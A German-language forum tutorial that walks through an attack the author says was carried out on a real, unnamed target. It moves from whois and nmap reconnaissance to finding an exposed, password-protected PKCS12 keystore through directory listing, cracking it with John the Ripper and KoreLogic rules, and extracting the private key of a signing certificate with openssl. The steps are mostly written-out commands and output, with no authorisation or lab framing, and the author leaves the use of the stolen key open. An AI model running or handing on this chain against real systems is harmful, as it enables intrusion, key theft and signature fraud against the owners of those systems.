Hallo Zusammen,
ein kleines Tutorial um mal wieder diesen Bereich zu beleben.
Hinweis:
Wenn es nicht gut lesbar ist bitte melden und ich danke für die Rückmeldungen.
Ich beschreibe ein Scheitern im "Sicherheitsgrundschutz" der im Extremfall ein Problem für das Target darstellt und leider keine Fiktion ist.
Zuerst habe ich den Scope identifiziert: --> IP-Adresse muss bekannt sein "targeted scope".
whois 127.0.0.1 [...] inetum: netname: --> wichtige Hinweise, wer Admin der IP ist --> je nach Land oft auch nicht wirklich hilfreich. descr: country: [...]
Dann versuchen wir zu lauschen auf welchem Port gewisse Dienste laufen:
Hier nutze ich NMAP --> per default die Top 1000
nmap localhost --> das Ergebnis entspricht nicht einem Scan von localhost Erebniss sieht dann so aus: IP address Hostname Open ports 127.0.0.1 local.host 80/TCP 443/TCP
Das ist meistens die Realität, alle Ports sind gefiltert oder noch besser closed.
Nun wie gehe ich hier weiter vor; ist ein Angriff wirklich unmöglich?
Nein, mitnichten, ich mache hier weiter!
Wie gesagt die offenen Ports weisen auf einen Webserver hin, der public erreichbar ist.
Also versuche ich einen Angriffsvektor zu finden:
Hier in diesem Beispiel, via Directory listing:
Falls vom Admin aktiviert, bekomme ich im Besten Fall Dateien und Verzeichnisse zu Gesicht, die mir für weitere Angriffe nützlich sein können.
Tatsache; in diesem Fall habe ich eine Passwortgeschützte PKCS12 Datei entdeckt; Jackpot?
Bedingt, mal sehen was ich damit anfangen kann.
Was sagt denn Wiki zu PKCS12:
In der Kryptografie definiert PKCS #12 ein Archivdateiformat zum Speichern vieler Kryptografieobjekte als einzelne Datei.
Es wird üblicherweise verwendet, um einen privaten Schlüssel mit seinem X.509-Zertifikat zu bündeln oder um alle Mitglieder einer Vertrauenskette zu bündeln.
Wow, also geheimer Schlüssel und Zertikat --> doch Jackpot?
Noch nicht, die Datei ist Passwort geschützt.
Wir schauen uns trotzdem an ob das Archiv interessant ist.
keytool -storetype pkcs12 -keystore geleakterKeystore -list [...] Keystore-Typ: PKCS12 Keystore-Provider: SunJSSE Keystore enthält 1 Eintrag www.local.host, 27.07.2020, PrivateKeyEntry, [...]
Definitv interessant, weiter machen!
Ich entscheide mich für einen Wörterbuch Angriff --> "real fact" es ist reine Glücksache das Passwort über diesen Weg heraus zu finden but it's worth a try!
Als mittel der Wahl nehme ich den Pass/ Hash Cracker "John the ripper"
Kurz meine Wordlist geprüft und los geht's:
cat words_short.txt [...] Pass1 Pass2 Pass.. P..... P.asss2! ...... [...]
Erstmal bereiten wir den Keystore für John vor:
python2 /usr/lib/john/pfx2john.py geleakterKeystore >jtr_geleakterKeystore
Dann geht es los, "John" bekommt einen Auftrag von mir:
Kurzer Hinweis zur eingesetzten Regel:
KoreLogic used a variety of custom rules to generate the passwords. These _same_ rules can be used to crack passwords in corporate environments. These rules were originally created because the default ruleset for John the Ripper fails to crack passwords with more complex patterns used in corporate environments.
john -w:words_short.txt --rules=KoreLogic jtr_geleakterKeystore [...] Loaded 1 password hash (pfx [PKCS12 PBE (.pfx, .p12) (SHA-1 to SHA-512) 128/128 AVX 4x]) Cost 1 (iteration count) is 100000 for all loaded hashes Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes Will run 8 OpenMP threads Press 'q' or CTRL-C to abort, almost any other key for status P.asss2! (geleakterKeystore) [...] Session completed
Password --> P.asss2!
Eine kleine Statistik dazu:
john -w:words_short.txt --rules=KoreLogic jtr_geleakterKeystore 99,12s user 0,01s system 878% cpu 5,456 total
Und in diesem Fall auch noch richtig Glück gehabt, es scheint ein gültiges Signaturzertifikat zu sein das bis Juni 2021 gültig ist.
Ausgestattet mit dem PKCS12 und dem Passwort geht es weiter, wir exportieren Zertifikat:
openssl pkcs12 -in geleakterKeystore -nocerts -out key.pem Enter Import Password: Enter PEM pass phrase: Verifying - Enter PEM pass phrase:
Und den geheimen Schlüssel:
openssl rsa -in key.pem Enter pass phrase for key.pem: writing RSA key ----BEGIN RSA PRIVATE KEY----- ... ... ... ... [...]
Was dann?
Was damit angestellt werden kann, muss jeder selbst entscheiden.
Das war's fürs erste, wenn interesse an einer Fortsetzung besteht, bitte mir mitteilen.
Dankeschön und nicht vergessen, frauden ist immer noch uncool!
Bearbeitet von Terrafaux, 28 July 2020 - 12:13 Uhr.